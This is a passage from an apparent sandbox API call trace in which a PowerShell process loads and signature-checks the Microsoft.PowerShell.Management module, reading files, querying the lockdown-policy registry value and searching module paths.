lpOverlapped=0x0) returned 1 [0116.632] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x59feca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59feca8*=0) returned 0x9e9 [0116.632] ReadFile (in: hFile=0x3c0, lpBuffer=0x2ce6cc4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fecd4, lpOverlapped=0x0 | out: lpBuffer=0x2ce6cc4*, lpNumberOfBytesRead=0x59fecd4*=0x0, lpOverlapped=0x0) returned 1 [0116.632] CloseHandle (hObject=0x3c0) returned 1 [0116.635] CoCreateGuid (in: pguid=0x59fedd4 | out: pguid=0x59fedd4*(Data1=0xc9b228ef, Data2=0x23b, Data3=0x4bce, Data4=([0]=0x96, [1]=0x2f, [2]=0xd2, [3]=0x7a, [4]=0xb, [5]=0x2c, [6]=0x3, [7]=0x88))) returned 0x0 [0116.635] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c0 [0116.635] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3f8 [0116.635] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x404 [0116.635] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x408 [0116.636] SetEvent (hEvent=0x408) returned 1 [0116.636] SetEvent (hEvent=0x3c0) returned 1 [0116.636] SetEvent (hEvent=0x3f8) returned 1 [0116.636] SetEvent (hEvent=0x404) returned 1 [0116.636] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x40c [0116.636] SetThreadUILanguage (LangId=0x0) returned 0x409 [0116.889] EtwEventActivityIdControl () returned 0x0 [0116.889] EtwEventActivityIdControl () returned 0x0 [0116.890] EtwEventActivityIdControl () returned 0x0 [0116.904] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0116.905] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.905] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe600) returned 1 [0116.906] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59fe8c4 | out: lpFileInformation=0x59fe8c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0116.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe5fc) returned 1 [0116.906] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0116.906] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.906] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.906] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59fe508, Length=0x20, ResultLength=0x59fe578 | out: SystemInformation=0x59fe508, ResultLength=0x59fe578*=0x0) returned 0xc0000003 [0116.906] GetSystemInfo (in: lpSystemInfo=0x59fe584 | out: lpSystemInfo=0x59fe584*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0116.907] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fe514 | out: phkResult=0x59fe514*=0x410) returned 0x0 [0116.907] RegQueryValueExW (in: hKey=0x410, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59fe530, lpData=0x0, lpcbData=0x59fe52c*=0x0 | out: lpType=0x59fe530*=0x0, lpData=0x0, lpcbData=0x59fe52c*=0x0) returned 0x2 [0116.907] RegCloseKey (hKey=0x410) returned 0x0 [0116.907] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.907] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe48c) returned 1 [0116.908] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x410 [0116.908] GetFileType (hFile=0x410) returned 0x1 [0116.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe488) returned 1 [0116.908] GetFileType (hFile=0x410) returned 0x1 [0116.908] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fe4c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fe4c8*=0) returned 0x0 [0116.908] ReadFile (in: hFile=0x410, lpBuffer=0x2d1ac84, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fe4f4, lpOverlapped=0x0 | out: lpBuffer=0x2d1ac84*, lpNumberOfBytesRead=0x59fe4f4*=0x9e9, lpOverlapped=0x0) returned 1 [0116.909] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fe4c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fe4c8*=0) returned 0x9e9 [0116.909] ReadFile (in: hFile=0x410, lpBuffer=0x2d1a201, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x59fe4f4, lpOverlapped=0x0 | out: lpBuffer=0x2d1a201*, lpNumberOfBytesRead=0x59fe4f4*=0x0, lpOverlapped=0x0) returned 1 [0116.909] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fe4c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fe4c8*=0) returned 0x9e9 [0116.909] ReadFile (in: hFile=0x410, lpBuffer=0x2d1ac84, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fe4f4, lpOverlapped=0x0 | out: lpBuffer=0x2d1ac84*, lpNumberOfBytesRead=0x59fe4f4*=0x0, lpOverlapped=0x0) returned 1 [0116.909] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59fe45c, Length=0x20, ResultLength=0x59fe4cc | out: SystemInformation=0x59fe45c, ResultLength=0x59fe4cc*=0x0) returned 0xc0000003 [0116.910] GetSystemInfo (in: lpSystemInfo=0x59fe4d8 | out: lpSystemInfo=0x59fe4d8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0116.910] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fe468 | out: phkResult=0x59fe468*=0x414) returned 0x0 [0116.910] RegQueryValueExW (in: hKey=0x414, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59fe484, lpData=0x0, lpcbData=0x59fe480*=0x0 | out: lpType=0x59fe484*=0x0, lpData=0x0, lpcbData=0x59fe480*=0x0) returned 0x2 [0116.910] RegCloseKey (hKey=0x414) returned 0x0 [0116.910] CloseHandle (hObject=0x410) returned 1 [0116.912] CoCreateGuid (in: pguid=0x59fe558 | out: pguid=0x59fe558*(Data1=0xd2a312c, Data2=0x72ab, Data3=0x46ef, Data4=([0]=0xbf, [1]=0xeb, [2]=0x55, [3]=0x32, [4]=0xf0, [5]=0x13, [6]=0x72, [7]=0x20))) returned 0x0 [0116.912] QueryPerformanceCounter (in: lpPerformanceCount=0x59fe2b8 | out: lpPerformanceCount=0x59fe2b8*=1175788903497) returned 1 [0116.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdfa4) returned 1 [0116.912] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59fe268 | out: lpFileInformation=0x59fe268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0116.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdfa0) returned 1 [0116.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf38) returned 1 [0116.913] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59fe1fc | out: lpFileInformation=0x59fe1fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0116.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf34) returned 1 [0116.913] CoTaskMemAlloc (cb=0x10) returned 0x74a0a8 [0116.913] CoTaskMemAlloc (cb=0x10) returned 0x74a1b0 [0116.913] CoTaskMemAlloc (cb=0xf0) returned 0x68bac0 [0116.913] CoTaskMemAlloc (cb=0x30) returned 0x732f80 [0116.913] WinVerifyTrust () returned 0x800b0100 [0117.024] CoTaskMemFree (pv=0x74a0a8) [0117.024] CoTaskMemFree (pv=0x732f80) [0117.024] CryptCATHandleFromStore () returned 0x6e9b20 [0117.024] WTHelperGetProvSignerFromChain () returned 0x0 [0117.025] CoTaskMemAlloc (cb=0x10) returned 0x74a0a8 [0117.025] CoTaskMemAlloc (cb=0x30) returned 0x732f80 [0117.025] WinVerifyTrust () returned 0x0 [0117.025] CoTaskMemFree (pv=0x732f80) [0117.025] CoTaskMemFree (pv=0x74a0a8) [0117.025] CoTaskMemFree (pv=0x68bac0) [0117.025] CoTaskMemFree (pv=0x74a1b0) [0117.037] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0117.037] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0117.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0117.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0117.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0117.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0117.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0117.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0117.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fd9f4) returned 1 [0117.049] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x59fdcb8 | out: lpFileInformation=0x59fdcb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fd9f0) returned 1 [0117.049] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0117.050] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0117.050] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x59fd970, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0117.052] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0117.053] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0117.053] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 [0117.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fd7fc) returned 1 [0117.053] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x59fdac0 | out: lpFileInformation=0x59fdac0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fd7f8) returned 1 [0117.056] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0117.059] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0117.063] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0117.064] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0117.064] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x59 [0117.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fd7fc) returned 1 [0117.064] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x59fdac0 | out: lpFileInformation=0x59fdac0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fd7f8) returned 1 [0117.101] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0117.104] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0117.104] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0117.104] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0117.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fd7fc) returned 1 [0117.105] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x59fdac0 | out: lpFileInformation=0x59fdac0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fd7f8) returned 1 [0117.107] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0117.550] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0117.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0117.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0117.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0117.599] GetFullPathNameW (in: 